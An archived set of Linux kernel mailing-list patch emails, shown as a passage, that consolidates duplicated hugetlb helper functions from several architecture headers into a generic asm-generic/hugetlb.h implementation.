diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index f661362376e0..2101ea217f33 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -26,22 +26,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 19668672ab37..2e5117d37c7d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,21 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index cd9697672b79..6c0c8b0c71e0 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -87,4 +87,19 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
+static inline int prepare_hugepage_range(struct file *file,
+		unsigned long addr, unsigned long len)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (addr & ~huge_page_mask(h))
+		return -EINVAL;
+
+	return 0;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 09/11] hugetlb: Introduce generic version of huge_ptep_set_wrprotect
Date: Thu,  5 Jul 2018 11:07:14 +0000
Lines: 216
Approved: news@gmane.org
Message-ID: <20180705110716.3919-10-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789372 22574 195.159.176.226 (5 Jul 2018 11:16:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:16:12 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:16:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2F2-0005h3-M1
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:16:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754004AbeGELSM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:18:12 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:56591 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753590AbeGELSJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:18:09 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 043BD24000E;
        Thu,  5 Jul 2018 11:18:00 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812297 gmane.linux.ports.arm.kernel:660996 gmane.linux.ports.ia64:28920 gmane.linux.ports.mips.general:65310 gmane.linux.ports.parisc:28772 gmane.linux.ports.ppc64.devel:159721 gmane.linux.ports.sh.devel:57193 gmane.linux.ports.sparc:28095 gmane.linux.kernel.cross-arch:45044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812297>

arm, ia64, mips, sh, x86 architectures use the same version
of huge_ptep_set_wrprotect, so move this generic implementation into
asm-generic/hugetlb.h.
Note: powerpc uses twice for book3s/32 and nohash/32 the same version as
the above architectures, but the modification was not straightforward
and hence has not been done.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h        | 6 ------
 arch/arm64/include/asm/hugetlb.h             | 1 +
 arch/ia64/include/asm/hugetlb.h              | 6 ------
 arch/mips/include/asm/hugetlb.h              | 6 ------
 arch/parisc/include/asm/hugetlb.h            | 1 +
 arch/powerpc/include/asm/book3s/32/pgtable.h | 2 ++
 arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
 arch/powerpc/include/asm/nohash/32/pgtable.h | 2 ++
 arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
 arch/sh/include/asm/hugetlb.h                | 6 ------
 arch/sparc/include/asm/hugetlb.h             | 1 +
 arch/x86/include/asm/hugetlb.h               | 6 ------
 include/asm-generic/hugetlb.h                | 8 ++++++++
 13 files changed, 17 insertions(+), 30 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index b897541520ef..8247cd6a2ac6 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3e7f6e69b28d..f4f69ae5466e 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index cbe296271030..49d1f7949f3a 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 6ff2531cfb1d..3dcf5debf8c4 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index fb7e0fd858a3..9c3950ca2974 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
index 02f5acd7ccc4..d2cd1d0226e9 100644
--- a/arch/powerpc/include/asm/book3s/32/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
@@ -228,6 +228,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
+
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
index 42aafba7a308..7d957f7c47cd 100644
--- a/arch/powerpc/include/asm/book3s/64/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
@@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
index 7c46a98cc7f4..f39e200d9591 100644
--- a/arch/powerpc/include/asm/nohash/32/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
@@ -249,6 +249,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
+
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
index dd0c7236208f..69fbf7e9b4db 100644
--- a/arch/powerpc/include/asm/nohash/64/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
@@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f1bbd255ee43..8df4004977b9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 2101ea217f33..c41754a113f3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 2e5117d37c7d..de370836a17d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,12 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 6c0c8b0c71e0..9b9039845278 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_set_wrprotect(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 10/11] hugetlb: Introduce generic version of huge_ptep_set_access_flags
Date: Thu,  5 Jul 2018 11:07:15 +0000
Lines: 170
Approved: news@gmane.org
Message-ID: <20180705110716.3919-11-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789438 27665 195.159.176.226 (5 Jul 2018 11:17:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:17:18 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:17:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2G6-00071b-Qo
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:17:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754151AbeGELTT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:19:19 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:32907 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753598AbeGELTQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:19:16 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 4269D24000E;
        Thu,  5 Jul 2018 11:19:07 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812305 gmane.linux.ports.arm.kernel:661000 gmane.linux.ports.ia64:28921 gmane.linux.ports.mips.general:65311 gmane.linux.ports.parisc:28773 gmane.linux.ports.ppc64.devel:159722 gmane.linux.ports.sh.devel:57194 gmane.linux.ports.sparc:28096 gmane.linux.kernel.cross-arch:45045
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812305>

arm, ia64, sh, x86 architectures use the same version
of huge_ptep_set_access_flags, so move this generic implementation
into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 7 -------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 7 -------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 7 -------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 7 -------
 include/asm-generic/hugetlb.h         | 9 +++++++++
 10 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 8247cd6a2ac6..54e4b097b1f5 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,11 +37,4 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 #endif /* _ASM_ARM_HUGETLB_3LEVEL_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index f4f69ae5466e..80887abcef7f 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 49d1f7949f3a..e9b42750fdf5 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,13 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 3dcf5debf8c4..120adc3b2ffd 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,6 +63,7 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9c3950ca2974..165b4e5a6f32 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -43,6 +43,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 69c14ecac133..658bf7136a3c 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -137,6 +137,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 8df4004977b9..c87195ae0cfa 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,13 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index c41754a113f3..028a1465fbe7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -40,6 +40,7 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index de370836a17d..1df8944904c6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,13 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9b9039845278..f3c99a03ee83 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -110,4 +110,13 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
+static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep,
+		pte_t pte, int dirty)
+{
+	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 11/11] hugetlb: Introduce generic version of huge_ptep_get
Date: Thu,  5 Jul 2018 11:07:16 +0000
Lines: 174
Approved: news@gmane.org
Message-ID: <20180705110716.3919-12-alex@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530789553 5153 195.159.176.226 (5 Jul 2018 11:19:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 11:19:13 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 13:19:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fb2Hx-00016c-15
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 13:19:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754042AbeGELUc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 07:20:32 -0400
Original-Received: from relay11.mail.gandi.net ([217.70.178.231]:38561 "EHLO
